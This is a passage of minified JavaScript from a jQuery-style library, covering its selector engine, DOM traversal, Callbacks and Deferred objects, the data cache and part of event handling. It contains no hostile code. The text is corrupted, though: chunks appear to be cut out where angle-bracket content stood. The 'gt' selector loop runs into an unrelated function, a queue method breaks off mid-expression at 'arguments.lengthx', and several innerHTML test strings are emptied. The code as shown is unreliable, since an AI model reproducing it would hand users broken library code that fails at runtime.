o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var 